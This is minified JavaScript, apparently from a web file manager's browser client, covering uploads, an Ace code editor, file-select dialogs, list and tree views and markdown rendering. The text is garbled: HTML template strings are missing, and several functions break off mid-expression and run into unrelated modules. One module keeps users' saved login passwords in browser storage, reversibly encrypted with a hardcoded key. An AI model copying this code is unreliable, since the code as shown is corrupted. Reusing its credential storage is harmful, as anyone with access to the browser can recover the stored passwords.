i=i(29),n=(i=i)&&i.__esModule?i:{"default":i};t["default"]=ClassBase.extend({"init":function(){},"fileSave":function(e,t,i,n){this.upload(e,"",i,{"uploadApi":this.uploadApi(),"postParam":{"fileSave":"1","fileInfo":"1"},"tipsID":n||"","tipsLoading":LNG["explorer.saving"],"tipsError":LNG["explorer.saveError"],"tipsSuccess":LNG["explorer.saveSuccess"],"uploadTo":t})},"uploadApi":function(){return this.pathModel&&this.pathModel.urlMake?this.pathModel.urlMake("upload"):API_URL("explorer/upload/fileUpload")},"upload":function(e,t,i,n){!t&&e instanceof window.File&&(t=e.name);var o={"uploadApi":API_URL("explorer/attachment/upload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)};$.extend(!0,o,n||{}),this.uploadParse(e,o,i,t)},"uploadFile":function(e,t,i){var n={"uploadApi":this.uploadApi(),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)};$.extend(!0,n,t||{}),this.uploadParse(e,n,i)},"uploadParse":function(o,a,e,t){var s,i=new n["default"]({"parent":this,"paramData":a}),r=function r(){i.uploadContent(o,t)};return this.uploadViewEvent(i,e),$.browserIS.mobile&&a.postParam?_.isString(o)?(e=new Blob([o],{"type":"text/plain"}),a.postParam.base64Upload="1",a.postParam.base64str=base64Encode(o),a.postParam.size=e.size,r()):o instanceof window.Blob?((s=new FileReader).readAsDataURL(o),s.onload=function(e){var t=s.result,i="base64,",n=t.indexOf(i);0<=n&&(t=t.substr(n+i.length)),a.postParam.base64Upload="1",a.postParam.base64str=t,a.postParam.size=o.size,r()}):r():r()},"uploadViewEvent":function(c,t){var e=this,i=[],n=!1,l=c.paramData.tipsLoading||LNG["explorer.uploading"],o=c.paramData.tipsError||LNG["explorer.upload.error"],a=c.paramData.tipsSuccess||LNG["explorer.upload.success"],s="uploadView"+UUID(),d=!(this[s]=c).paramData.single,h=Tips.notify({"id":c.paramData.tipsID||"","title":l,"delayClose":1500,"icon":" ri-upload-fill-2","process":{"process":0},"onClose":function(){c.objectRemove(),delete e[s]}}),r=function r(){var e;d&&(e=c.uploader.getStatus(),e=a+" "+e.success+"/"+e.total,h.icon("success").title(e).processHide().close()),t&&t(i)};this.listenTo(c,{"itemUploadProcess":function(e,t){var i=pathTools.fileSize,n=c.uploader.transfer||{},o=n.needTime?"; "+LNG["explorer.upload.needTime"]+" "+n.needTime:"",o=n.speed+o,a=(100*n.percent).toFixed(1)+"%",i=i(n.sizeTotal*n.percent)+"/"+i(n.sizeTotal),s="",r=(d&&(s=" "+((r=c.uploader.getStatus()).success+1)+"/"+r.total),"md5Read"==e.uploadPercentType?(r=(100*e.percentMd5).toFixed(1),o=LNG["explorer.upload.scan"]+" "+r+"%"):1==e.percent&&(o=LNG["explorer.upload.merge"]+"..."),'\n\t\t\t\t
\n\t\t\t\t\t'+o+'\n\t\t\t\t\t'+i+s+"\n\t\t\t\t
");h.title(l+a).process({"process":n.percent,"text":r})},"itemUploadSuccess":function(e,t){if(!t.code||!t.info)return d?Tips.notify.tips({"title":o,"icon":"error","delay":2e3}):h.title(o).icon("error").processHide().close(3e3);d?i.push(t.info):(i=t.info,h.icon("success").process({"process":1,"text":LNG["explorer.saved"]}).title(a).close()),n&&r()},"itemUploadError":function(e,t){var i=t.data||(_.isString(t)?t:""),i=o+" "+i;if(!t.code||!t.info)return d?Tips.notify.tips({"title":i,"icon":"error","delay":2e3}):h.title(i).icon("error").processHide().close(3e3)},"uploadFinished":function(){if(!c.uploader.getStatus().finished)return n=!0;r()}})},"bindPast":function(e,t){var i=this;$(e).on("paste",function(e){i.pasteImage(e,t)})},"pasteImage":function(s,r,c){var i,l=this,e=s.originalEvent||window.event;e&&e.clipboardData&&e.clipboardData.items&&((c=c||{}).postParam=c.postParam||{},i=[],_.each(e.clipboardData.items,function(e){var t;"string"!=e.kind&&(t=(e=e.getAsFile()).name||"",c.allowAllFiles?(e.type||1').appendTo(c),c.find(".editor-full-screen").bind("click",function(){c.toggleClass("ace-editor-full"),e.resize(),e.focus()}),e.commands.addCommand({"name":"escFull","bindKey":"Esc","exec":function(e){c.removeClass("ace-editor-full"),e.resize(),e.focus()}})},"bindEditorEvent":function(e){var i=this;this.editorChange=_.debounce(_.bind(this.editorChange,this),50),this.cursorChange=_.debounce(_.bind(this.cursorChange,this),10),e.commands.addCommand({"name":"preview","bindKey":{"win":"Ctrl-alt-G","mac":"Ctrl-command-G"},"exec":function(e,t){t.findAll(t.session.getTextRange()),i.cursorChange(t)}}),e.on("change",function(e,t){i.editorChange(t)}),e.on("changeSelection",function(e,t){i.cursorChange(t)}),e.commands.addCommand({"name":"showKeyboardShortcuts","bindKey":{"win":"Ctrl-Alt-h","mac":"Command-Alt-h"},"exec":function(t){ace.config.loadModule("ace/ext/keybinding_menu",function(e){e.init(t),t.showKeyboardShortcuts()})}}),e.commands.addCommand({"name":"aceEditorSave","bindKey":{"win":"Ctrl-s","mac":"Command-s"},"exec":function(e){$(e.container).trigger("aceEditorSave")}}),e.commands.addCommand({"name":"convertUpper","bindKey":{"win":"Ctrl-U","mac":"Command-U"},"exec":function(e){e.toUpperCase()}}),e.commands.addCommand({"name":"convertLower","bindKey":{"win":"Ctrl-Shift-U","mac":"Command-Shift-U"},"exec":function(e){e.toLowerCase()}}),e.commands.addCommand({"name":"phpBeautify","bindKey":{"win":"Ctrl-Shift-B","mac":"Command-Shift-B"},"exec":function(t){ace.config.loadModule("ace/ext/beautify",function(e){e.beautify(t.session)})}}),this.editorMobileBind(e),e.insertRangeWith=_.bind(this.insertRangeWith,e),e.toUpperCase=function(){this.insertRangeWith(function(e){return e.toUpperCase()})},e.toLowerCase=function(){this.insertRangeWith(function(e){return e.toLowerCase()})},$(e.container).find(".ace_text-layer").bind("click",function(){e.$isFocused||e.focus()}),this.bind("onRemove",function(){this.destoryEditor(e)})},"destoryEditor":function(i){i.renderer&&(i.destroy(),i.container.remove(),_.each(i,function(e,t){delete i[t]}))},"insertRangeWith":function(o){var a=this,e=a.session.selection.ranges;_.isEmpty(e)&&(a.selection.isEmpty()&&a.selection.selectWord(),e=[a.getSelectionRange()]),_.each(e,function(e){var t=a.session.getTextRange(e)||"",t=o(t);if(t)try{var i=e.clone();i.end=a.session.replace(e,t),a.selection.addRange(i)}catch(n){}})},"editorMobileBind":function(e){var t;$.browserIS.ios&&$.isWindowTouch()&&(t=$(e.container).find(".ace_text-input"),$.setStyle(".ace_editor .ace_text-input{\n\t\t\topacity:0.05 !important;\n\t transform:none !important;\n\t width: 30px !important;\n\t height:20px !important;\n\t z-index:10 !important;\n\t\t}","ace-editor-mobile-ios"),e.getOption("readOnly"))&&t.addClass("hidden").attr("disabled","disabled")},"cursorChange":function(e){e&&this.trigger("editor.cursorChange",e)},"editorChange":function(e){e&&(e.$formMakerInput||(e.$formMakerInput=$(e.container).prev(),e.$formMakerInput.is("input"))||(e.$formMakerInput="notForm"),"notForm"!=e.$formMakerInput&&$(e.$formMakerInput).trigger("change"),this.trigger("editor.change",e))}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});i=i(10);t["default"]=i.ExplorerDialog.extend({"explorerApi":!0,"init":function(e){this.initDialogView(e),this.initCommon(e),this.disableStoreValue(),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"",this.bindExplorerApi(),this.filterParseOption()},"initDialogView":function(e){var t=this,i={"type":"file","createFile":{"name":"newfile.txt","fileRepeat":"rename","content":"","base64":!1},"single":!0,"allowExt":"","pathOpen":"","pathTree":"","makeUrl":!1,"authCheck":"write","pathCheck":"","filter":"","pathCheckAllow":function(){},"callback":function n(){},"title":"","viewOption":!1,"cancel":!0,"lock":!0,"background":"#000","opacity":.2,"width":900,"height":500,"className":UUID()+" pathSelectApi ","ok":function(){return t.selectConfirm(),!1}},n=("file"!=(i=$.extend(!0,i,e)).type&&(i.allowExt=""),i.callback);i.callback=function(){n.apply(i,arguments),t.dialog.close()},this.param=e,this.options=$.objClone(i),this.initParam=this.options,i.title=e.title||this.defaultTitle(),this.initDialog(i),this.initApiView()},"initApiView":function(){this.$dialog=this.dialog.$main,this.$el=this.$dialog.find(".aui-content");var e='
\n\t\t\t'+this.initParam.allowExt+"\n\t\t
",t=this.$dialog.find(".aui-buttons");t.addClass("btn-actions"),t.parent().addClass("explorer-select-footer"),$(e).insertAfter(t),this.createFileView()},"createFileView":function(){var e,t,i,n,o;"createFile"==this.initParam.type&&(e=this.$dialog.find(".aui-state-highlight"),t=this.$dialog.find(".select-api-input-box input"),i=this.initParam.createFile.name,n=pathTools.pathExt(i),this.initParam.single=!0,t.removeAttr("readonly").val(i),n&&(o=i.length-n.length-1,this._delay(function(){t.textSelect(0,o).focus()},400)),t.keyEnter(function(){return e.hasClass("disable-event")?Tips.tips(LNG["explorer.selectValidFolder"],"warning"):e.trigger("click")}))},"defaultTitle":function(){var e;if(!this.initParam.title)return e=(e={"file":LNG["explorer.selectFile"],"folder":LNG["explorer.selectFolder"],"all":LNG["explorer.selectFolderFile"],"createFile":LNG["explorer.fileSaveTo"],"default":LNG["common.select"]})[this.initParam.type]||e["default"],this.initParam.single||(e+='"('+LNG["explorer.selectMulti"]+';)"'),e},"bindExplorerApi":function(){this.listenTo(this.select,{"select.change":this.selectChange,"select.init":function(){this.disableNotAllow(),this.selectChange()}}),this.pathAction.openFile=_.bind(function(e){var t=this.$dialog.find(".aui-state-highlight");t.hasClass("disable-event")||t.trigger("click")},this)},"disableStoreValue":function(){var e="-explorer-api",t=(this.pageing.storeKey+=e,this.history&&(this.history.storeKey+=e),this.tree&&(this.tree.history.storeKey+=e),this.path.contentView);t.splitResize&&(t.splitResize.storeKey+=e)},"selectResult":[],"resultParse":function(e){var t="name,path,pathDisplay,size,type,ext,createUser,downloadPath".split(",");return e=_.isArray(e)?_.map(e,function(e){return _.pick(e,t)}):_.pick(e,t)},"selectConfirm":function(){var e=this.initParam,t=this.resultParse(this.selectResult);if(!_.isEmpty(t))return"createFile"==e.type?this.callbackCreateFile(t):1==e.makeUrl?this.callbackMakeUrl(t):void e.callback(t,e)},"callbackMakeUrl":function(e){var t=[];this.initParam.single?t.push({"path":e.path}):_.each(e,function(e){t.push({"path":e.path})}),this.callbackPathInfo(t)},"callbackCreateFile":function(t){var i=this,e=this.$dialog.find(".select-api-input-box input"),n=this.initParam.createFile;n.path=_.trimEnd(t.path,"/")+"/"+e.val(),this.pathModel.newFile(n,function(e){if(!e||!e.code)return Tips.tips(e,!1);Events.trigger("path.pathChange",t.path,e),i.callbackPathInfo([{"path":e.info}])})},"callbackPathInfo":function(e){var t=this;this.pathModel.pathInfo({"dataArr":e},function(e){if(!e||!e.code)return Tips.tips(e,!1);e=t.resultParse(e.data);t.initParam.callback(e,t.initParam)})},"checkPathExt":function(e){var t=this.initParam.allowExt||"";return""==(t=t.toLowerCase().replace(/\|/g,",").replace(/\s/g,""))||_.includes(t.split(","),e)},"checkPathAuth":function(e){var t=this.initParam.authCheck,i=this.pathAction.auth;switch(t){case"read":return i.canRead(e);case"write":return i.canWrite(e);default:return!0}},"pathCheckType":function(e,t){switch(t){case"truePath":return e.isTruePath||e.sourceID;case"self":return"user"==e.targetType&&e.targetID==G.user.userID;case"group":return"group"==e.targetType;default:return!0}},"filterParseOption":function(){var e=this.options,t=this.pathAction.pathFilterParse(this.options.filter);t&&((e.filterMap=t).type&&(e.type=t.type),t.ext&&(e.allowExt=t.ext.join(",")),t.parent)&&"notRoot"!=t.parent&&!this.param.pathOpen&&(this.pathOpen="{source:"+t.parent+"}/")},"checkPath":function(e){var t=this.initParam;return!(!e||!this.checkPathAuth(e)||t.filterMap&&!this.pathAction.pathFilterCheck(e,t.filterMap)||t.pathCheck&&!this.pathCheckType(e,t.pathCheck)||t.pathCheckAllow&&!1===t.pathCheckAllow(e)||_.includes(["folder","createFile"],t.type)&&"folder"!=e.type||!("file"!=t.type||"file"==e.type&&this.checkPathExt(e.ext)))},"selectAdd":function(e){return!(this.initParam.single&&1<=this.selectResult.length||!this.checkPath(e)||(this.selectResult.push(e),0))},"selectChange":function(){var t,i=this,n=this.select.fileLight,e=n.listSelect,o=this.path.jsonData;this.selectResult=[],0==e.length?this.selectAdd(o.current):1<=e.length&&(t=[],_.each(e,function(e){i.selectAdd(e)||t.push(e)}),_.each(t,function(e){n.setStatus(e,"select",!1)})),!_.isEmpty(this.selectResult)&&this.initParam.single&&(this.selectResult=this.selectResult[0]),this.changeDialogStatus()},"disableNotAllow":function(){var i=this,e=this.select.fileLight;e.listAllEach(function(e){var t=!1;switch(i.options.type){case"file":t="file"==e.type&&!i.checkPathExt(e.ext);break;case"folder":case"createFile":t="file"==e.type}t&&(e._data.status.disabled=!0)}),e.listReloadView()},"changeDialogStatus":function(){var e=this.$dialog.find(".aui-state-highlight"),t="disable-event";return _.isEmpty(this.selectResult)?(e.addClass(t),this.changeText("")):(e.removeClass(t),this.initParam.single?this.changeText(this.selectResult.name):(t=_.map(this.selectResult,"name").join(", "),e="["+this.selectResult.length+"]"+LNG["common.items"]+";"+t,void this.changeText(e)))},"changeText":function(){var e=0",a=e.nickName||e.name||e.nameDisplay||"",e.userID==window.G.user.userID&&(a=LNG["common.me"]),"\n\t\t\t\n\t\t"):""}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=i(365),n=(i=i)&&i.__esModule?i:{"default":i};t["default"]=ClassBase.extend({"init":function(){this.menuView=new n["default"]({"parent":this})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var o="2&$%@(*@(djfhj1923",n="kodLoginAccount",a="kodAccountInfo",s={"set":function(e,t){e={"name":authCrypt.encode(e,o),"password":authCrypt.encode(t,o)};LocalData.set(n,jsonEncode(e))},"clear":function(){LocalData.del(n)},"get":function(){var e,t,i=LocalData.get(n);return!!i&&!!((i=jsonDecode(i))&&i.name&&i.password&&(e=authCrypt.decode(i.name,o),t=authCrypt.decode(i.password,o),e)&&t)&&{"name":e,"password":t}},"getAccount":function(){var e=LocalData.get(a)||"";return!!e&&(e=authCrypt.decode(e,md5(o+a))||"",jsonDecode(e))},"autoSet":function(e,t,i){var n=jsonEncode({"name":e,"password":t}),n=authCrypt.encode(n,md5(o+a));LocalData.set(a,n),"1"==i?this.set(e,t):this.clear()},"encryPassword":function(e){var t=roundString(5);return t+authCrypt.encode(e,t+o)},"decryPassword":function(e){var t=e.substr(0,5);return authCrypt.decode(e.substr(5),t+o)}};Events.bind("user.loginInfo",function(e){var t;_.isObject(e)&&e.name&&e.sign&&e.name==authCrypt.decode(e.sign,base64Encode(e.name))&&(t=s.get())&&t.name==e.name&&(e.password=t.password)}),t["default"]=s},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=r(i(422)),o=r(i(423)),a=r(i(424)),s=r(i(425)),i=r(i(426));function r(e){return e&&e.__esModule?e:{"default":e}}n=_.extend(n["default"],o["default"],a["default"],s["default"],i["default"]);t["default"]=ClassBase.extend(n).extend({"nodeDataKey":"_VListnodeData","vlistType":"list","init":function(e){this.initData(e),this.bindEventScroll(),this.reloadViewAll()},"initData":function(n){var i={"$container":$(),"listData":[],"listPadding":{"top":5,"right":2,"bottom":100,"left":2},"screenShow":1.4,"nodeHeight":30,"nodeAutoHeight":!1,"nodeMargin":{"top":0,"left":0,"right":0,"bottom":0},"nodeHeaderMargin":{"top":0,"left":0,"right":0,"bottom":0},"nodeTemplate":"","nodeHeaderHeight":30,"nodeHeaderTemplate":"","nodeHeaderPinTop":!0,"scrollTouch":!1};this._each(i,function(e,t){var i=n.hasOwnProperty(t)?n[t]:e;this[t]=_.isObject(i)&&!$.isDom(i)?_.extend(e,i):i}),this._each(n,function(e,t){i.hasOwnProperty(t)||(this[t]=e)});this.$heightHolder=$('
').appendTo(this.$container),this.reloadViewAll(),this.resize=_.throttle(_.bind(this.resize,this),20),this.bind("onRemove",function(){this.reloadDataClear(),this.$heightHolder.remove()})},"bindEventScroll":function(){var t=this.$container,i=_.bind(this.scrollChange,this);t.bind("scroll",i),t.data("_vListView",this),this.bind("onRemove",function(e){t.unbind("scroll",i)}),this.bindEventScrollTouch()},"renderView":function(e,t){this.reloadData(e),t&&t()},"reloadData":function(e){this.listData=e=e||[{"header":!1,"list":[]}],this.reloadViewAll(!0)},"reloadDataClear":function(){this.listArrShowClear(),this.eachListData(function(e){e._data=!1})},"reloadViewAll":function(e){e&&this.reloadDataClear(),this.resizeSizeInit(),this.reloadDataAll()},"animate":0,"animateSet":function(e){this.animate=0=o)return l(c);var d=o,h=c._data.$node||c._data.$pinHeader;h||(h=(h=$(this.makeHtmlHeader(c))).appendTo(this.$container),(c._data.$pinHeader=h).data(this.nodeDataKey,c)),n&&n!=c&&i<=(c=c._data.height+0)&&(d-=c-i),h.addClass("pin-header"),h.css({"position":"sticky","top":d-o})}},"getItemHeader":function(e){return!!e&&(e._data.isHeader?e:!!(e=this.listData[e._data.groupIndex])&&e.header)},"scrollChange":function(){this.scrollTop=this.$container.scrollTop(),this.reloadView(),this.trigger("onScroll")},"groupShowToggle":function(e,t){var i,e=this.getItemByDom(e);e&&e._data&&(i=this.listData[e._data.groupIndex||0])&&(i.hidden?(i.list=i._listBefore||[],delete i._listBefore):(i._listBefore=i.list||[],i.list=[]),t=t||"group-hidden",i.hidden=!i.hidden,e._data.status[t]=i.hidden,this.reloadViewAll())},"makeHtmlItem":function(e){var t=e._nodeTemplate||this.nodeTemplate;return this.renderHtml(t,e,!1)},"makeHtmlHeader":function(e){var t=e._nodeTemplate||this.nodeHeaderTemplate;return this.renderHtml(t,e,!1)},"setItemStatus":function(e,t,i){this.setStatus(e,t,i)&&this.reloadView()},"setStatus":function(e,t,i){if(!e||!e._data||!t)return!1;var n=e._data.$node;e._data.status[t]=i,n&&(!i&&n.hasClass(t)&&n.removeClass(t),i)&&!n.hasClass(t)&&n.addClass(t)},"getItemByDom":function(e){e=$(e).data(this.nodeDataKey);return!(!e||!e._data)&&e},"getItemStatusByDom":function(e){e=$(e).data(this.nodeDataKey);return e&&e._data&&e._data.status}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,i=i(2),s=(i=i)&&i.__esModule?i:{"default":i};function o(e){return function(){var c=e.apply(this,arguments);return new Promise(function(a,s){return function r(e,t){try{var i=c[e](t),n=i.value}catch(o){return void s(o)}if(!i.done)return Promise.resolve(n).then(function(e){r("next",e)},function(e){r("throw",e)});a(n)}("next")})}}t["default"]=ClassBase.extend({"childMarginLeft":15,"init":function(){},"requestData":function(e,t,i){},"dataFilter":function(e){return e},"treeNodeRenderAfter":function(e){},"initView":(n=o(s["default"].mark(function r(t,i){var n,o,a;return s["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return n="tree-"+roundString(5),o=this,(i=i||this.$el).attr("id",n),a={"async":{"enable":!0},"view":{"showLine":!1,"selectedMulti":!1,"expandSpeed":"fast","dblClickExpand":!1,"addDiyDom":_.bind(this.treeNodeRender,this)},"callback":{}},this.treeSetting=a,this.treeCallback["beforeAsync"]=this.beforeAsync,_.each(this.treeCallback,function(e,t){a.callback[t]=function(){var e=_.toArray(arguments);return o.trigger.apply(o,["tree."+t].concat(e)),o.treeCallback[t].apply(o,e)}}),e.next=10,requirePromise(VENDER_PATH+"zTree.js");case 10:if(this.$el){e.next=12;break}return e.abrupt("return","");case 12:this.defineTreeAsync(),this.requestData(t,function(e){this.initViewFinished(e,a,i,t,n)});case 14:case"end":return e.stop()}},r,this)})),function(e,t){return n.apply(this,arguments)}),"treeNodeRender":function(e,t){var e=$.fn.zTree.getZTreeObj(e).setting.treeObj,i="#"+t.tId+"_",n=e.find(i+"switch").remove(),o=this.childMarginLeft*t.level,o=(e.find(i+"ico").remove(),"\n\t\t\t\n\t\t\t"+n.prop("outerHTML")+'\t\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t');e.find(i+"span").before(o),t.$node=e.find(i+"a").addClass("tree-node"),t.$ico=e.find(i+"my_ico"),t.$span=e.find(i+"span"),t.$node.data("treeNode",t),this.treeNodeRenderAfter(t)},"initViewFinished":function(e,t,i,n,o){if(!this.$el)return"";var a=this.dataFilter(e);this.trigger("initBefore",e,t),$.fn.zTree.init(i,t,a),this.zTree=$.fn.zTree.getZTreeObj(o),this.zTree.rootPath=n,e&&e.code||this.$el.html('
'+LNG["explorer.systemError"]+"
"),this.trigger("initAfter",this.zTree)},"defineTreeAsync":function(){$.fn.zTree._z.view.asyncNodeBefore=$.fn.zTree._z.view.asyncNode,$.fn.zTree._z.view.asyncNode=function(e,t,i,n){return e.callback.beforeAsync.apply(this,[e,t,i,n])}},"beforeAsync":function(i,n,o,a){var s,e=$.fn.zTree,r=e.consts.event,c=e._z.view,l=e._z.tools;return!!n&&!(n&&n.isAjaxing||((s=n.$ico).addClass("ico_loading"),n.isAjaxing=!0,this.requestData(n,function(e){s.removeClass("ico_loading"),n.isAjaxing=null,n.zAsync=!0;var t=this.dataFilter(e);_.isEmpty(n.children)||(t=[]),n.isParent=!_.isEmpty(t)||!_.isEmpty(n.children),c.setNodeLineIcos(i,n),this.zTree&&this.zTree.updateNode(n),n.isParent&&c.addNodes(i,n,-1,t,!!o),i.treeObj.trigger(r.ASYNC_SUCCESS,[i.treeId,n,e]),l.apply(a),this.trigger("tree.loadData",n)},function(){s.removeClass("ico_loading"),n.isAjaxing=null,c.setNodeLineIcos(i,n),i.treeObj.trigger(r.ASYNC_ERROR),l.apply(a),this&&this.trigger("tree.loadData",!1)}),0))},"expandAuto":function(e,i,n){var o=this.zTree;if(o){for(var a,s,t=!1,r=(e=_.isString(e)?_.filter(e.split(","),function(e){return e&&"0"!=e}):e).reverse(),c=[],l=0;l.content").offset().top+e.parents(".kodTable>.content").height()-i-s<20)?t.removeClass().addClass("dropdown tpTips"):void t.removeClass().addClass("dropdown btTips")},"make":function(e,t,i){i&&_.isArray(i)||(i=[{"action":"edit","name":LNG["common.edit"]}]);var n="",o=(_.each(i,function(e,t){n+='
  • '+e.name+"
  • "}),""),a=!0,i=!1,s=undefined;try{for(var r,c=t[Symbol.iterator]();!(a=(r=c.next()).done);a=!0){var l=r.value;o+='
  • '+l.name+"
  • "}}catch(d){i=!0,s=d}finally{try{!a&&c["return"]&&c["return"]()}finally{if(i)throw s}}return'
    \n\t\t\t'+n+'\n \n
    "}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){var t,o=function o(e){requireAsync([VENDER_PATH+"markdown/markdown-it.min",VENDER_PATH+"markdown/highlight.min",VENDER_PATH+"markdown/mermaid.min",VENDER_PATH+"markdown/raphael.min",VENDER_PATH+"markdown/abcjs-basic-min",VENDER_PATH+"markdown/plantuml",STATIC_PATH_ALL+"app/vender/markdown/katex/katex.min.css",VENDER_PATH+"markdown/katex/katex.min.js"],function(){window.mermaid&&window.mermaid.initialize({"startOnLoad":!0}),requireAsync([VENDER_PATH+"markdown/flowchart.min"],function(){var t=markdownit({"html":!0,"breaks":!0,"linkify":!0,"typographer":!0});_.each(m["default"],function(e){t.use.apply(t,e)}),i(t),n=t,e&&e(t)})})},i=function i(e){functionHook(e,"validateLink",!1,function(e,t){if(t[0]&&t[0].match(/^data:image\/\w+;/))return!0})},r=[],c=function c(n,e,t){var o=e.split("\n"),a=[],s=0,e=h(e),e=(_.each(e,function(e,t){var e=e.map[0],i=_.slice(o,s,e).join("\n"),i=l(n,i);a.push(i),s=e}),_.slice(o,s).join("\n"));a.push(l(n,e)),u(a,t),f(t),r=a},l=function l(e,t){var i=_.find(r,["text",t]);return i||{"text":t,"html":"
    "+(i=t==(i=s(e,t))&&"\x3c!--"==i?htmlEncode(i):i)+"
    ","time":timeFloat()}},a=!0,s=function s(e,t){var i=x.text.indexOf(t);if(a&&t&&-1!==i)n=x.out[i],_.pullAt(x.text,i),_.pullAt(x.out,i),x.text.push(t),x.out.push(n);else{var n=t;try{n=e.render(t||""),_.each(d,function(e){n=e(n)})}catch(o){}a&&t&&(x.text.length>=x.max&&(x.text.shift(),x.out.shift()),x.text.push(t),x.out.push(n))}return n},d=[],h=function h(e){for(var t={"h1":"heading_open","h2":"heading_open","h3":"heading_open","h4":"heading_open","h5":"heading_open","h6":"heading_open","table":"table_open","blockquote":"blockquote_open","ul":"bullet_list_open","p":"paragraph_open","code":"fence"},i=[],n=markdownit().parse(e,{"references":{}}),o=_.keys(t),a=0;a